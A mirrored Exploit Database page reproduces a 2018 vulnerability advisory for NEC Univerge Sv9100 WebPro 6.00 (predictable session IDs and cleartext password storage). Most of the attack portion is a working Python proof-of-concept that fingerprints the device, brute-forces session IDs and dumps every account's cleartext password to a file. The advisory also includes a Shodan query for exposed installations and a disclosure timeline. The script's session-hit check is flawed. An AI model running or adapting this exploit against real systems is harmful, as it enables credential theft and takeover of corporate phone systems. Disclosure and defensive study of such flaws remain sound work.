NEC Univerge Sv9100 WebPro – 6.00 – Predictable Session ID / Clear Text Password Storage

• Exploit Database
• 16 阅读

• 作者： hyp3rlinx
  日期： 2018-12-04
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45942/

• '''
  [+] Credits: hyp3rlinx
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt
  [+] ISR: ApparitionSec 
  
  
  ***Greetz: indoushka | Eduardo B. 0day***
  
  
  [Vendor]
  www.necam.com
  
  
  [Affected Product Code Base]
  NEC Univerge Sv9100 WebPro - 6.00.00
  
  
  NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems.
  
  
  Public facing installations as of Dec 1, 2018
  https://www.shodan.io/search?query=Server+Henry
  Result: 7,797 
  
  
  [Vulnerability Type(s)]
  [CVE Reference(s)]
  Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742
  
  
  [Attack Vectors]
  Make repeated remote HTTP requests until arriving at a valid authenticated sessionId.
  
  
  Security Issue:
  ================
  NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI.
  Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords.
  
  e.g..
  
  curlhttp://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8)
  
  
  Exploit/POC:
  =============
  '''
  
  from socket import *
  import re
  
  #Univerge Sv9100 NEC WebPro : 6.00
  #Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage
  #http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords.
  
  print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC"
  print "hyp3rlinx"
  
  
  IP=raw_input("[+] TARGET> ")
  res=''
  findme="Programming Password Setup"
  cnt=0
  tmp=False
  tmp2=False
  pwned=False
  
  #check application is NEC and vuln version
  def is_NEC_webpro(u):
  global tmp,tmp2,cnt
  res=''
  cnt+=1
  s=socket(AF_INET, SOCK_STREAM)
  s.connect((IP,80))
  s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
  
  while True:
  res=s.recv(4048)
  if res.find('</html>')!=-1:
  break 
  s.close()
  
  if re.findall(r"\bWebPro\b", res):
  tmp=True
  if tmp and cnt < 3:
  is_NEC_webpro('/Login.htm')
  if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res):
  tmp2 = True
  if tmp == True and tmp2 == True:
  return True
  return False
  
  
  
  def dump(acct):
  file=open('NEC-Accounts.txt', 'w')
  file.write(acct+'\n')
  file.close()
  
  
  def breach(sid):
  global pwned
  try:
  s=socket(AF_INET, SOCK_STREAM)
  s.connect((IP,80))
  sid=str(sid)
  print 'trying sessid '+sid
  s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
  except Exception as e:
  print str(e)
  
  while True:
  res = s.recv(4096)
  if res.find('</html>')!=-1:
  break
  if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session.
  dump(res)
  print res
  pwned=True
   
  s.close()
  return pwned
  
  
  def sessgen():
  for sessid in range(1000,15000): ##test 14109
  if breach(sessid):
  break
  
  
  if __name__=='__main__':
  if is_NEC_webpro('/'):
  sessgen()
  else:
  print 'Not NEC or version not vuln.'
  
  '''
  Network Access:
  ===============
  Remote
  
  
  Severity:
  =========
  High
  
  
  Disclosure Timeline:
  =============================
  Vendor Notification:May 15, 2018
  No reply
  Vendor Notification: May 18, 2018
  No reply
  Vendor Notification:June 4, 2018
  No reply
  Mitre assign CVE: June 5, 2018
  JPCERT replies: June 6, 2018
  JPCERT shares information with NEC : June 7, 2018
  Request status : August 11, 2018
  JPCERT contact NEC : August 14, 2018
  No reply from vendor
  Request status : August 21, 2018
  JPCERT again contacts NEC : August 21, 2018
  JPCERT "vendor working on a release" : August 23 2018
  JPCERT "Vendor release October 2018" : September 12, 2018
  NEC "Requests public disclosure after December 1st." : November 19, 2018
  December 2, 2018 : Public Disclosure
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).
  '''